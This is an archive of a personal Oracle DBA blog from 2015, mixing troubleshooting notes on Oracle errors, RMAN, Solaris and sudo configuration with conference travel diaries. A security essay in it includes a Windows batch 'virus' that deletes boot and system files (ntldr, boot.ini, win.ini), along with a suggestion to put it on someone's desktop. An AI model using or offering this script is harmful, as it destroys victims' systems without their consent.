Wednesday, December 30, 2015

ORA-12054 while trying to create materialized view with sysdate

while trying to configure materialized view with sysdate today , Fast Refresh on commit , i received the following error :-

ORA-12054: cannot set the ON COMMIT refresh attribute for the materialized view.

Regarding to Oracle Documentation there is some restriction should be considered while trying to create materialized view Check Here  or here.


But there is always workaround,

1- i create dummy table contain 1 row with 1 column only contains sysdate.
2- create Job that this sysdata on daily basis.
3- call this column in where condition of materialized view.


Problem solved.

Thanks
Osama

Friday, December 25, 2015

2015 Brief, The last Post of the year

Merry Christmas and Happy Holiday everyone.

2015 is almost done and the doors will be closed soon, and start the new year 2016 within 5 days only, I would like to thank everyone here , Family , Friends and my blog readers who keep me motivated always to write new articles when i can, and special thanks to my mother.

i learnt a lot of things this years, sadness moment gives me experience and the happiness teach me and show me who is my real friends, i met new people around the worlds make new friends, discuss different topics with people, one of the biggest achievement for me this year to be Oracle ACE Director a dream come true, when i remember this moment i also remember my friends who nominate me because without them it will not be possible Gurcan OrhanHeli Helskyaho, Jeff Smith , Tim Hallkamran agayevIloon Ellen-Wolff, Kai Yu, and Tariq Farooq , and i would like to take this opportunity to thanks Oracle ACE program who make it real for me and for the biggest effort they provide it to us.


So let me summarize the 2015 :-


  • The first Oracle ACE Director in the Middle-east.
  • Director and CEO for Jordan Amman Oracle User Group.
  • Speaker in JAOUG.
  • Speaker in OTN MENA Tour.
  • Speaker in Bulgarian Group - Summer.
  • Speaker in Bulgarian Group - Winter.
  • Speaker in Oracle Open World 2015.
  • Organizing the first event Of  JAOUG. 
  • Working on my 2nd book.
  • Wrote more than 10 articles for different  International magazine.
  • attend my 2nd Oracle open world as speaker and first time as Oracle ACE Director.
  • Speaker in the last conference of the year in UK.
  • Implement one of the biggest oracle engineer system project : Exalytics, Exalogic and Exadata.
if i missed anything then i am sorry :) 


Thank you again.
Enjoy your holiday :) 
Osama



Sunday, December 13, 2015

Import hangs On index level.

Today some customer contact me complaining that they are trying to sync the development with UAT, when i check the issue everything was normal for the first time, but the alert logs indicate that database could complete the checkpoint.

so this what i did to make the import faster ( which i completed it as well ) :-


  • Change database to no archive mode.
  • increase sga_target temporary.
  • use parallel command depend on cpu core.
  • Use commit=N with import parameters.
  • you can exclude indexes by exclude=indexes but i don't prefer this at all.
  • increase db_cache_size.

This simple steps that could help someone to make import little faster or solve hang issue.

let me know if you need anything :)

Cheers
Merry Christmas guys 
Osama

Thursday, November 26, 2015

BGOUG Autumn Conference - Extraordinary trip

it's 19-Nov-2015 and this day means that i should start packing and prepare myself for traveling to Bulgaria, at first everything was normal and i thought it will be like any other trip i did before.

since there is no direct flight to Bulgaria then i should landed in Frankfurt first then to Sofia as most of you know i don't like early flight despite i am waking all the night working or replying some emails but it's something i don't like to do :) anyway my flight was at 3:00 am from Jordan i did boarding thing and visa & security Check after 6 hours i landed in Germany,drink coffee in the airport and ran to my next flight Sofia.

When i landed in Sofia it was 1:30 pm exactly, so like any other airport i should pass by immigration officer & this is what happened :-

Me :- Hi, Good afternoon.
officer : Hi, your passport please.
Me ; Sure.
Officer "Scan the visa" and the System start rining.
Me: is there something wrong.
Officer: mmmm come with me please.
Me "in my mind" did i do anything bad before i came here.
Officer : Your visa valid from tomorrow.
Me: Kidding right ? So what ?
Officer : you have to wait till 12:00 am then you access to Sofia.
Me : it's almost 12 hours man.
Officer : it's Ok you can go upstairs and have some drink and food if you want.
Me : Sure, i am gonna have more than this.

So i wait in the airport and during this i sent an email to Milena to inform her that i will not be available till 12:00 am and told her what is happened to me.

I would like to thanks all of them actually Milena, Heli and Gurcan  these guys was checking on me :).

Wait my story not end here, When i went out of security check now i have to start search of my luggage which i found it in Lost & found Department for more information about this part contact me :)

anyway the conference was really good i had two presentation about middleware with live demo, i don't know why the live demo before the presentation working fine but during the presentation it stop working for stupid reasons but live demo is always challenge

everything was well organized  and conference was really amazing.

Safe Trip my friends :) and meet you soon Inchallah.


Cheers
Osama 

Sunday, November 8, 2015

Weblogic 12cR2 installation On Linux 6.7

Middleware 12cR2 has been released.

This document will show you how to install weblogic 12cR2 on linux 6.7

The link for the document here

Cheers
osama

Sunday, November 1, 2015

Oracle Open World 2015 review

As all of you know Oracle open world 2015 finished before 2 days ago, and simply it's was amazing, my trip started on OCT-21-2015 Wenseday and it's was totally morning flight which mean i supposed to be in airport at 4:00 am because of to avoid miss my flight i didn't sleep, the flight was from Jordan - Amman to Turkey - IST and then to SF, when i landed in IST i met my old friend Gurcan Orhan this man is awesome, he managed everything from our seats to waiting in the lounge but i have to say he spent 11 hours sleeping from IST- SF. meanwhile i was watching San Andres movie which i discovered later it was bad idea , in case you didn't watch it's movie talking about earthquake happened in San Francisco, actually i watched all the entertainment movie and i was thinking what i will go when i will be back home ? simply i watch San Andres again.

anyway we landed after 13 hours of flying and we met the great Tim Hall the great oracle guy i am sure this man is helping a lot of DBA with his amazing blog. so we took the shuttle "tim, Gurcan, Arup,cary , simon and me".



Don't forget this is was my first OOW15 as ACED :), so i attended ACED Breifing and meet my old friends there, during the two days i learnt alot of new things about Oracle that i can't mention it here because the NDA, and i want to thanks Oracle ACE program to organizing all this and make it true so let's skip this part.

OOW15 started on sunday with an amazing weather, attending session about RAC, Database just like arup said " there is database and everything else" and sure the middleware sessions.

I had so much fun & learning, the funny thing that i met Deiby and nassyam for the first time and these guys are simply funny and crazy :) i think we can be called the four musketeers "Me, Alex Zaballa, Deiby and Nassyam"





Let's not forget the amazing friend all over the world such as : Bobby, Danny Bryant, Kellyn, Heli,  Steve , Kevin ,Mahir, kamran, sai ram, Joel and a lot of amazing people and friends but i can't feel my fingers :) 


Also The ACE dinner on Sunday night was awesome,almost all the ACE's in one place and we had so much there, in OOW I lost twice with F1 Simulation but i want one of these machine anyway.

and i noticed that i am not good at all when i am eating spicy food i spent my time like the following  one hand drink water the other one wiping my tears. thanks for Sai , Nassyam and Hariharaputhran.


there is so much to say about OOW15 but this is as quick review for it and if you have any more question about it you can ask me :)

Thanks 
Osama




Sunday, September 27, 2015

Oracle Open World 2015 --> 12c is calling

Another Year means another Oracle open world but this time 2015, if you attend OOW14 then you will remember EOUC 12 Short talks on 12c i am so glad i have been chosen to do it again this year

the session called : More Than Another 12 on Oracle Database 12c [UGF3190]

and 12 of the  best Oracle ACE director will present and speak about oracle 12c if you will be there come and join us let's talk :)

The Speakers :-


Jonathan Lewis                     Less well-known enhancements of the 12c Optimizer
Julian Dontcheff                   Oracle Database 12c In-Memory Advisor
Gurcan Orhan                       Adapting DB 12C In-Memory to ODI 12c
Osama Mustafa                     How to plugin a non-CDB database to a Container Database (CDB)
Bjoern Rost                           How ASM has reached maturity in 12c
Alex Nuijten                         Security Enhancements in PL/SQL or "JSON in the database”
Brendan Tierney                   Running R in the Database using Oracle R Enterprise
Douwe Pieter van den Bos     Maximum security architecture
Christian Antognini               Real-time Monitoring of Composite Database Operations
Martin Widlake                     12C - Clustered Data aware TABLE_CACHED_BLOCKS        
Heli Helskyaho                      Design your 12c Databases using Oracle SQL Dev Data Modeler
Oded Raz                              Oracle 12c Privileges Analysis



Thursday, September 10, 2015

Error : Cannot export Display Linux

There are different tools to do X11 forwarding on Windows one of them Xming it's small software and very easy to use no need to do any special configuration only run the installation file.

But sometimes you are using this application and try to run the GUI on your desktop or laptop it's working like you excepted, one simple solution to solve it.

I am using as ssh client Putty, before put the server ip from putty left panel


  • Connection > SSH > X11
  • Check X11 forwarding: [x] Enable X11 forwarding
  • Add to the “X display location” field: localhost:0.0



Cheers
Osama

Monday, September 7, 2015

ORA-01502 index or partition of such index is in unusable state

The following error appeared on application side while trying to deploy the new SRF on the application, as you see from the above error it's database error and to solve it follow the below steps :-



from database side :-

sqlplus /as sysdba

From the above picture check the index name and put it inside this query :-

select owner,index_name,table_name,status from dba_indexes where index_name='index_name';

OWNER    INDEX_NAME    TABLE_NAME    STATUS
-----    ----------    ----------    ------
owner    index_name     table_name    INVALID

alter index ndex_name rebuild;


Try again

Cheers
Osama 

Thursday, September 3, 2015

ORA-00845: MEMORY_TARGET not supported on this system


SQL> alter system set memory_max_target=2GB scope=spfile;
System altered.
SQL> alter system set memory_target=2GB scope=spfile;
System altered.
 SQL> startup ;
ORA-00845: MEMORY_TARGET not supported on this system

Check the following Space :-

ECATSTDB oracle: :/home/oracle\>df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/Oracle-LogVol00
                       20G  3.3G   15G  18% /
/dev/mapper/Oracle-LogVol02
                       90G   45G   41G  53% /Oracle
/dev/sda1              99M   18M   77M  19% /boot
tmpfs                 3.0G     0  3.0G   0% /dev/shm


Increase the space

mount -t tmpfs shmfs -o size=6144m /dev/shm

now startup the database.


Cheers
Osama

Tuesday, August 25, 2015

System is in manitance mode. Please try again later OBIEE

When trying to update any reports in OBIEE the below errors appears :-







to solve this issue just follow the screen :-

1- Access to OBIEE Link http://ip-hostname:9704/analytics
2- Choose Administration from the upper right corner.


3- Turn Maintenance mode to off by press the link.




Good Luck.

Cheers
Osama

Sunday, August 23, 2015

Me, Security & Oracle

Lot of question came to my mind when I start talking about oracle security, How to secure my databases, what should I do?
Adding Firewall to my network is it enough? Enable Oracle Audit Parameter will be enough?

Understand Security as concept is very important to reduce risk of attack and to do that you should make your system is secure.
Having Security awareness is first step to secure the system.


According to RSA reports, there was 7% increase in amount of phishing attacks worldwide between months of July and August 2010, The United States currently leads as the country that suffered the most attacks in regards to online cyber threats with 35% of these aimed at citizens of the US; the US was also the country that hosted the most attacks, with 60% of phishing attacks starting from the US.


The below Graph Show Number of network Security Breaches over Past 12 months (Graph Made by Ponemon Institute)


Included to above reports 1$ trillion the total value of intellectual property hackers stole from business around the world in 2008.
As proof for this I will mention three different stories for the biggest top “black hat” hackers

The below Graph Shown How much Did the Cyber-attack Cost Company over 12 month (Graph Made by Ponemon Institute)


Jonathan James when he hacked NASA he was 16 years old with that he was the first juvenile sent to the present, Installed backdoor into defense threats reductions agency server and  jacked into NASA Computers stealing software worth 1.7M $ Costing NASA 41,000$ in Repair.

Adrian Lamo Hacked into NY Times and Microsoft using wifi Coffee shop, Viewed Personal Information and High profile Subject matter

The last example Kevin Mitnick spent two years stealing corporate secrets and breaking into the US national defense warning system.


Computer Hacking is usually used as stereotypes in movies and cartoons as Guy sitting behind desk with Pepsi Can and not that much luck with ladies , the truth is this guy cost people and companies money and privacy, therefor the hacking effects on individuals , organizations and company.

As individuals victims of computer hacking will lose their saving, privacy even their life, in the early days of computer the virus was the biggest security risk which is cause data losing. After that it’s replaced with malware which is small software designed to do job such as key logger or virus scanner but now this software not more any fun since the hackers now creating malware.

Nothing easier today than writing virus just to do annoying things, the below code just an example how writing a virus.

You can find step to write virus, Trojan or even worm on the internet and for free, this is what makes problem bigger, because internal user can read this information and start using them so you should prepare to all these kind of attacks.

The below example for simple virus, all you have to do is save as batch file and put it on someone desktop

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
msg * SEND->> JOIN EVILKING TO +962795238146 for hacking tricks


 What if the victims was company or organization, the small effect could happened by hacker is put some employees out of works for short period of time. The large affect hacker could stole company secrets and lose them data, and make some damage, the last survey for Ponemon Research on behalf of juniper Networks 90% of companies had been breached at least once by hackers over the past 12 months.60% reported two or more breaches over the past year.

So companies or organizations should spend small fortune for security purpose software and hardware and lets us don’t forget to educate our employee.

The Security today consider as most important priority for the company for two reasons:
1-      Personal Data protections.
If you store data you should secure these data, since it’s related to customers or clients.

2-      Social Responsibility. 

Some of these data very important and contain people privacy which indicate us that company should protect these information by secure their systems.

When you leave your house for works purpose in the morning or hanging out with friends in the evening you make sure that your house is secure why? All this to keep unauthorized people to access, damage and theft By enable alarm system, make sure your doors is lock and even your windows, this is the same for the companies or organizations same principle but with different approach, the valuable things in the computers and networks is the data you create, this is the first reasons why we have computers and networks. 

Operating system can be reinstalled, Hardware can be replaced but we talking about data which is unique and sometimes it is irreplaceable.
Data is confidential and people privacy, this is the main reason why you don’t want lose it, you don't want others to even view it without authorization , Visa information, mobile numbers, social numbers and account numbers.
If it’s left unprotected then information can be accessed by anyone, if these information fall into wrong hand, you’re live is nightmare, quite often ensure your data is protected is small price that you could pay to avoid future problems and prevent threats.

What if the data is not adequately protected, perhaps it compromised which called security breach, I am not talking here as individual level but as Business level that cause problems such as loss of reputation and lawsuits.
According to the Ponemon institute, cost of a Security breach during 2008 was $202 per record breached. Imagine if you have 1 Million records what is could cause to the company?

Intruders not care who you are or about your identity they just want to control your computer. By doing this they can hide their location and start attack.


By access to the system intruders discovers new vulnerabilities to exploit in computer software, don’t forget its networks which mean you can access to another computers on same network Complex right?


But what about the law, all the above information is just reports and security principle, check the below law that talks about security and data privacy.


Cheers
Osama Mustafa




Thursday, July 30, 2015

Presentation will be

There is no much left for 2015 but there is too much work waiting me, presenting in different country means a lot of work and preparation, i am still waiting different events but till now this is confirmed:-


  • SIOUG2015 -- Located In Slovenia.
  • HROUG2015 -- Located in Croatia 
  • OOW15 -- Located in SF, USA
  • UKOUG TECH15 -- Located in UK.

So Excited.


Cheers
Osama Mustafa

Database 12.1.0.2 Certified with EBS 12.2

After Waiting too long finally I can upgrade my Oracle EBS Database ,Regarding to Oracle Blog "Database 12.1.0.2 Certified with EBS 12.2".

You can Read more about this here

Cheers
Osama

Saturday, July 18, 2015

sorting algorithm


I have to share this Picture which is really amazing and include all the sorting algorithm in one picture 



video

Cheers
Osama 

Tuesday, July 14, 2015

create IPS repository in Solaris 11.2

I discussed before how to create package repository on Linux here, the same could be happened on Solaris 11.2 when you install Database any version mandatory packages should be installed to make it easy repository helps you a lot and will be available any time you need, and Image packaging system(IPS) repository is one of the important things in Solaris 11 onwards.

You need to download the following files & upload them to the server :-




Once the file is ready upload them to the server under one file called Repo for example. it should looks like the below :-

#ls -lrt
total 14373947
-rwx------   1 root     root     1771800121 Aug  9 08:24 sol-11_2-repo-1of4.zip
-rwx------   1 root     root     1889867782 Aug  9 11:20 sol-11_2-repo-2of4.zip
-rwx------   1 root     root     1902167161 Aug  9 22:34 sol-11_2-repo-3of4.zip
-rwx------   1 root     root     1790358735 Aug 10 00:16 sol-11_2-repo-4of4.zip
-rwx------   1 root     root        5594 Aug 10 20:16 install-repo.ksh
-rwx------   1 root     root         228 Aug 10 20:17 sol-11_2-repo-md5sums.txt
drwxr-xr-x   2 root     root           2 Aug 10 20:40 repo

#pkg publisher
PUBLISHER TYPE STATUS URI
solaris origin online http://pkg.oracle.com/solaris/release/
 as you see from the above output package publisher still working under oracle Link. Let's Start Working, Set the executable bit for install-repo.ksh and execute like below.

#./install-repo.ksh -d /export/oracle/repo/ -v -c
Comparing checksums of downloaded files...done. Checksums match.
Uncompressing sol-11_2-repo-1of4.zip...done.
Uncompressing sol-11_2-repo-2of4.zip...done.
Uncompressing sol-11_2-repo-3of4.zip...done.
Uncompressing sol-11_2-repo-4of4.zip...done.
Repository can be found in /export/oracle/repo/.
Initiating repository verification.

Again Check the current publisher.

#pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/

configure the new publisher, Path should be the same.

#pkg set-publisher -G '*' -M '*' -g file:///export/oracle/repo solaris
#pkg publisher
UBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F file:///export/oracle/repo

Configure the repository service to point to the new location by run the following command :-

# svccfg -s application/pkg/server setprop pkg/inst_root=/export/oracle/repo 

Check

# svcprop -p pkg/inst_root application/pkg/server
Reload the Services Just to confirm :-

# svcadm refresh application/pkg/server


Cheers
Osama Mustafa

Sunday, July 12, 2015

Use "sudo" Command without password Prompt

Sometimes you need to run Linux command without password prompt using sudo command.

to learn more about this command read the link here.

For Example i need to run the following command without password prompt, However there are three sudo commands I want to run without entering password:


  • sudo reboot
  • sudo shutdown -r now
  • sudo shutdown -P now

to do this follow the below steps :-

  • edit the following /etc/sudoers file.
  • you find the following lines depend on the username and hostname for the server.
user host = (root) NOPASSWD: /sbin/shutdown
user host = (root) NOPASSWD: /sbin/reboot

This will allow the user user to run the desired commands on host without entering a password. All other sudoed commands will still require a password.

Notes:

  • Always use the command visudo to edit the sudoers file to make sure you do not lock yourself out of the system for example 
sudo visudo -f /etc/sudoers.d/shutdown
  • Using /etc/sudoers.d instead of modifying /etc/sudoers, you could add the two lines to a new file in /etc/sudoers.d for example  /etc/sudoers.d/shutdown.
  • If you did not use visudo to edit your files and then accidentally messed up /etc/sudoers or messed up a file in /etc/sudoers.d then you will be locked out of sudo.to fix it use command pkexec.

Cheers
Osama Mustafa

Tuesday, July 7, 2015

/usr/ccs/bin/as: not found/No such file or directory on Solaris 11.2

While trying to install Oracle Database 12c on Solaris 11.2 the i faced the following the errors in the logs and dbca was unable to start :-


INFO: sh[2]: /usr/ccs/bin/as: not found [No such file or directory]
INFO: make: Fatal error:
INFO: *** Error code 127


The package developer/assembler comes with default installation, But  Solaris 11 package developer/assembler is not installed.

To install it: -

pkg install developer/assembler


and try again.

Cheers
Osama 

Friday, June 26, 2015

OTech Magazine – Summer 2015


OTech Magazine - Summer 2015 OTech Magazine issue Summer 2015 is the eighth issue of OTech Magazine – the independent Oracle technology magazine – . Our contributors are the best of the best of the Oracle atmosphere.



Osama Mustafa – Database Link From Oracle to MySQL

Read the full version of magazine here.

Thanks Douwe Pieter  for this amazing efforts.


Cheers
Osama Mustafa

Sunday, June 14, 2015

My Days As an Oracle ACED : BGOUG

12 - 14 June save the date because it's Bulgarian Oracle User group Events, this is my first time in Bulgaria and my first time as an oracle ACE director in any events :).

My Trip Planned to be from Jordan to Bulgaria - Sofia  and as usual i need to stop in one of world airport to reach my destinations first which i really hate because it's wasting of time and tiring me.

my stop was in Frankfurt airport and to be there i had to spent 5-6 hours in the plane to reach there and then wait another 5 hours in the airport and reach Sofia 3 hours in the plane. but lucky me the plane is delayed in Jordan and i waited for 2 hours only :).

I reach Sofia but i was really exhaust and tired from traveling because my trip started early morning and it's took us 2 hours to reach the hotel from the airport but even with this i have to thanks one of the best organizer i ever seen Milena Gerova She organized everything very well the hotels, the taxi, the appreciation events & sessions.

I had 2 presentation there about Fusion middleware and like usual i organized RAC ATTACK On Saturday, The audience was really amazing and asking very good questions. 

I had so much fun in Bulgaria and one of the best events i attended, simply it's really Green every where you look it's green, and I learned some Bulgarian dance  because i knew everyone in Bulgaria should dance :) Even Tom Kyte was dancing,Svetoslav and Heli as well so why not ? 

It's really nice to meet old friends and meeting new one  :) 








Cheers
Osama Mustafa 


Monday, June 8, 2015

ORA-12638: Credential retrieval failed



I found following line in sqlnet.ora file

SQLNET.AUTHENTICATION_SERVICES= (NTS)

Then i modified the above line as below and it started working

SQLNET.AUTHENTICATION_SERVICES= (NONE)


Seems that The Oracle server is not configured to support Windows authentication

Cheers
Osama

Tuesday, June 2, 2015

ORA-39181: Only partial table data may be exported due to fine grain access control

The below error appeared when trying to export the Schema using System User :-

ORA-39181: Only partial table data may be exported due to fine grain access control on "SOAPRD_MDS"."MDS_DEPL_LINEAGES"
. . exported "SOAPRD_MDS"."MDS_DEPL_LINEAGES"            5.164 KB       1 rows
ORA-39181: Only partial table data may be exported due to fine grain access control on "SOAPRD_MDS"."MDS_LABELS"

the weird thing that VPD is not enabled to show this error but once i grant the system the required privileges the error stop appearing in the logs.

grant EXEMPT ACCESS POLICY to System;

Thanks
Osama

Wednesday, May 27, 2015

OID is Down For Ambiguous Reasons

Today one of the customer called complaining about accessing to the system and how its not working ? Since everything is configured as single sign on (SSO) first thing to check was OID or oracle internet Directory.

The logs indicate to the below error :-

[2015-05-01T07:00:18+03:00] [OID] [NOTIFICATION:16] [] [OIDMON] [host: MOAPRDOID1] [pid: 5244] [tid: 0] Guardian: [oidmon]: Unable to connect to database,
will retry again after 10 sec

[2015-05-01T07:00:28+03:00] [OID] [NOTIFICATION:16] [] [OIDMON] [host: MOAPRDOID1] [pid: 5244] [tid: 0] Guardian: Connecting to database, connect string is oiddb

[2015-05-01T07:00:28+03:00] [OID] [NOTIFICATION:16] [] [OIDMON] [host: MOAPRDOID1] [pid: 5244] [tid: 0] Guardian: [gsdsiConnect] ORA-12514, ORA-12514: TNS:listener does not currently know of service requested in connect descriptor.

from the above error the OID is unable to connect to database server i checked database and listener everything is up without any issue and all the other application working without any issues.

after investigation I checked the sqlnet.ora and add the following :-


SQLNET.AUTHENTICATION_SERVICES= (NONE)
NAMES.DIRECTORY_PATH= (TNSNAMES)

Restart the services and everything is working.

maybe this solution will not lead or help in so many cases i am working to know why this will effect on OID since it's was working without any issues for 1 year

Thanks
Osama 

Monday, May 18, 2015

Enable Database Vault Using chopt Command

I post before how to enable oracle database vault using make command, in this post i will talk about how to enable database vault but using chopt command which easier and faster.


Common Syntax :-
chopt [enable | disable] db_option

Value
Description
dm
Oracle Data Mining Database Files
dv
Oracle Database Vault
lbac
Oracle Label Security
olap
Oracle OLAP
partitioning
Oracle Partitioning
rat
Oracle Real Application Testing
ode_net
Oracle Database Extensions for .NET 1.x
ode_net_2
Oracle Database Extensions for .NET 2.0


Like the other way you need to shutdown database, listener and dbconsole

cd $ORACLE_HOME/bin
chopt enable lbac


and Start database, listener, and dbconsole , Enterprise should be configured to access database vault.


Cheers
osama 

ORA-29504: invalid or missing schema name

ORA-29504: invalid or missing schema name
ORA-06512: at line 8 :msg



This error appeard while trying to configure Enterprise manager and DBV for SAP 

Solution:

You can ignore this error the SAP looking for User called EXFSYS and the account is not used For SAP System.

Cheers
Osama 

Saturday, May 16, 2015

OTN MENA TOUR




Thank you 
Osama Mustafa

Officially Fusion Middleware 11.1.1.9 Is Available to download

"Oracle Fusion Middleware is the leading business innovation platform for the enterprise and the cloud. It enables enterprises to create and run agile, intelligent business applications while maximizing IT efficiency through full utilization of modern hardware and software architectures. Solutions and products include Exalogic Elastic Cloud, data integration, business process management, business intelligence, identity management, Cloud application foundation, service-oriented architecture, WebCenter, and development tools."

Oracle Fusion middleware 11.1.1.9 is now available to download :-


  • Oracle Business Intelligence Enterprise Edition
  • Oracle JDeveloper and Application Development Framework (ADF)
  • Oracle Business Process Management
  • Oracle SOA Suite
  • Oracle Data Integrator
  • Oracle User Messaging Service
  • Oracle Enterprise Scheduler
  • Oracle Event Processing
  • Oracle WebCenter Suite
  • Oracle Identity Management
  • Oracle Forms and Reports
  • Oracle WebTier
  • Oracle Application Architecture Foundation Pack
To download Documentation from here
To Install Products steps from here 
to Download products from here


Thank you 
Osama Mustafa

Thursday, May 14, 2015

ACFS-9459/ACFS-9201/ACFS-9459 Gird Infrastructure

Environment: -

Operating system : Oracle Linux 6.6
Oracle DB and Grid Version : 11.2.0.4.0


The Error that appeared Under Gird log :-

[client(1624)]CRS-10001:25-Mar-15 14:09 ACFS-9459: ADVM/ACFS is not supported on this OS version: '3.8.13-44.1.1.el6uek.x86_64'
[client(1626)]CRS-10001:25-Mar-15 14:09 ACFS-9201: Not Supported
[client(1748)]CRS-10001:25-Mar-15 14:09 ACFS-9459: ADVM/ACFS is not supported on this OS version: '3.8.13-44.1.1.el6uek.x86_64'


Solution: -

There is patch should be applied "Patch 16318126: UEK3 SUPPORT FOR ACFS"

Download the patch from https://support.oracle.com

and check the document
ACFS Support On OS Platforms (Certification Matrix). (Doc ID 1369107.1)

Cheers
Osama mustafa

Monday, May 11, 2015

Install Oracle Siebel On Windows 2008 R2

This post will provide steps how to install Oracle Siebel CRM On Windows 2008 R2 Step by step.

To check the document from here 

Thank you
Osama Mustafa 

Friday, May 8, 2015

Enable Database vault 11GR2

This Post will descirbe how to enable oracle database vault in database 11GR2.

Check the document from here.
Thanks
Osama Mustafa

Tuesday, April 28, 2015

ORA-47401: Realm violation for CREATE TABLE on SYSTEM.SYS_EXPORT_SCHEMA_07

When trying to export any user using system the below error appeared

Connected to: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
With the Partitioning, Real Application Clusters, Automatic Storage Management, Oracle Label Security,
OLAP, Data Mining, Oracle Database Vault and Real Application Testing optio
ORA-31626: job does not exist
ORA-31633: unable to create master table "SYSTEM.SYS_EXPORT_SCHEMA_07"
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 95
ORA-06512: at "SYS.KUPV$FT", line 1020
ORA-47401: Realm violation for CREATE TABLE on SYSTEM.SYS_EXPORT_SCHEMA_07


The above error related because the system user is not allow to access data Dictionary files.

Run the below command
SQL>
BEGIN
DVSYS.DBMS_MACADM.ADD_AUTH_TO_REALM(
realm_name => 'Oracle Data Dictionary',
grantee => 'SYSTEM');
END;
/
PL/SQL procedure successfully completed.

Or you can use the GUI in Database vault and under Data Dictionray realms add the system user as participant.

Thank you  

Sunday, April 26, 2015

connection to database cannot be established - DBCA

Environment :-

Oracle Grid Infrastructure 11.2.0.4
Nodes # : 4
Operating system : Redhat 6.6

When trying to configure enterprise manager the following error appeared :-

Connection to the database cannot be established because the listener could be down. Please make sure that the service is registered with a listener and the listener is up.

The listener is up, VIP is working on all nodes without any issue when check dbca logs looking for more details i found this error :-

dbca trace in $ORACLE_BASE/cfgtoollogs/dbca.

ORA-1017: invalid username/password

Both was correct, because of this i recreate password file on all nodes and restart my operation it's working without any issue this time.

Thanks
Osama Mustafa

Friday, April 24, 2015

OTN EMEA Tour 2015



For second time i will be glad to Join OTN EMEA Tour 2015 with others oracle experts who consume much time in the Oracle Community.


We will cover the following country :-

  • Portugal.
  • Jordan - Amman
  • Johannesburg

date                         location
May 21st 2015 Lisbon, Portugal
May 23rd 2015 Amman, Jordan
May 26th 2015 Johannesburg, South Africa

All the information you can find it here.

Please if you will join us in any country sign up.

Thanks
Osama Mustafa

Monday, April 13, 2015

Oracle AutoVue Installation and SSO

This document will show steps how to install oracle Autovue and configure SSO for Oracle AutoVue.

For about Oracle Autovue from here.


The Document from here.


Thank you
Osama Mustafa

Thursday, April 9, 2015

mkdir No such file or directory Solaris 11.2

root@TT:/#mkdir –/u01/app/oracle/product/TimesTen/
mkdir: Failed to make directory "/u01/app/oracle/product/TimesTen/"; No such file or directory


simply this error related to auto_master all you have to do is to remove the entry /home from the auto_master

vi /etc/auto_master


and remove the entry 
Try again.

Thank You 
Osama Mustafa

Install Oracle Solaris 11.2 Using GUI

This Document describe how to install oracle Solaris 11.2 step by step.

View the document here.


Thank you
Osama Mustafa

Jordan Amman Oracle User Group

It's almost here, 09/04/2015 I published before about first event for JAOUG, I am so excited, organizing the event not easy needs a lot of work , commitment and dedication. finally we are here.

Since this is the first event before the biggest one, it's only introduction for the group and to introduce the local people and let them know about the group.

We prepare the poster today and seems perfect.



Thanks for the amazing Volunteer and PSUT to make this dream come true.

Osama Mustafa

Saturday, April 4, 2015

Jordan Amman Oracle User Group First Event

as most of you know that i created new oracle group in Jordan to allow people involve in oracle community and teach them more about oracle, this step was huge for me and the group established in 2014

Now it's Officially, the first event will be organized 09/April/2015 as introduction to this group, the volunteers working so hard, the second event will be surprise since it will be the biggest one in Jordan i will be announce about it soon. we still working on the logo but this is the initial one.


Thank you 
Osama Mustafa

Monday, March 30, 2015

Configure RMAN Backup On Windows

Database is supported on windows and some people using Windows As Production and RMAN need to be configured to ensure backup for Database in such failure or something to do this follow the below steps :-


  • Create first text file called backup and change the format to "bat", inside the file add the following lines :-
C:
cd E:\app\ADM-BSS01\product\11.2.0\dbhome_1\BIN
rman @E:\RMAN\Scripts\backup.rman

  • Create 3 folders in E for example :-
    • backup
    • Archivelog
    • Controlfile
  • Create second file name it Backup.rman and add the Rman Script like below 
connect target /
run
{
ALLOCATE CHANNEL c1 DEVICE TYPE disk;
ALLOCATE CHANNEL c2 DEVICE TYPE disk;
ALLOCATE CHANNEL c3 DEVICE TYPE disk;
ALLOCATE CHANNEL c4 DEVICE TYPE disk;
backup AS COMPRESSED BACKUPSET tag Full_database_open format 'E:\RMAN\backup\db_%t_%s_p%p.bkp' database;
backup AS COMPRESSED BACKUPSET archivelog all format 'E:\RMAN\backup\archivelog\al_%t_%s_p%p.arch' delete all input;
backup AS COMPRESSED BACKUPSET current controlfile tag =cf1 format 'E:\RMAN\backup\cf_%t_%s_p%p.bkp';
backup tag ORCL_CONTROL current controlfile format 'E:\RMAN\Controlfile\%d_%T_%s_%p_CONTROL';
delete noprompt expired backup;
release channel c1;
release channel c2;
release channel c3;
release channel c4;
}



  • Follow the screen now :-



      • Add Task Name and Description :-



      • Add The Time for this Task in this tab 



      • Another Screen :-



      • In This Screen Add Bat File in our case backup.bat


       

      Friday, March 27, 2015

      Install Oracle grid infrastructure On Linux 6.6

      This Post will explain Step by step provide with Screenshot how to install Oracle grid infrastructure 11.2.0.4 On Linux 6.6

      Link From here

      Cheers
      Osama 

      Tuesday, March 24, 2015

      Configure ASMLIB On Oracle Linux 6.6

      In this post will show you how to configure Oracle ASMLIB On Linux 6.6

      I uploaded the document on Slideshare , check it from here


      Cheers
      Osama Mustafa

      Monday, March 23, 2015

      Enable/Disable SSH For Root User

      Sometimes for any reason you want to enable root ssh using any SSH Client such as putty and only the administrator can login to do this follow the below steps :-


      • vi /etc/ssh/sshd_config
      • search for line as follow :-
        • PermitRootLogin yes and change it to -->  PermitRootLogin no
      • Search for the following lines as well :-
        • DenyUsers root user2 user3
      • Remove the root from Deny User
        • DenyUsers user2 user3
      • /etc/init.d/sshd restart
      Stopping sshd: [ OK ]
      Starting sshd: [ OK ]

      If you want to disable the SSH login for root just keep everything like the above.


      Cheers
      Osama Mustafa

      Sunday, March 22, 2015

      Oracle Streams ORA-44001: invalid schema

      SQL> SQL> SQL> 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 job finished
        DECLARE
      *
      ERROR at line 1:
      ORA-23616: Failure in executing block 7 for script
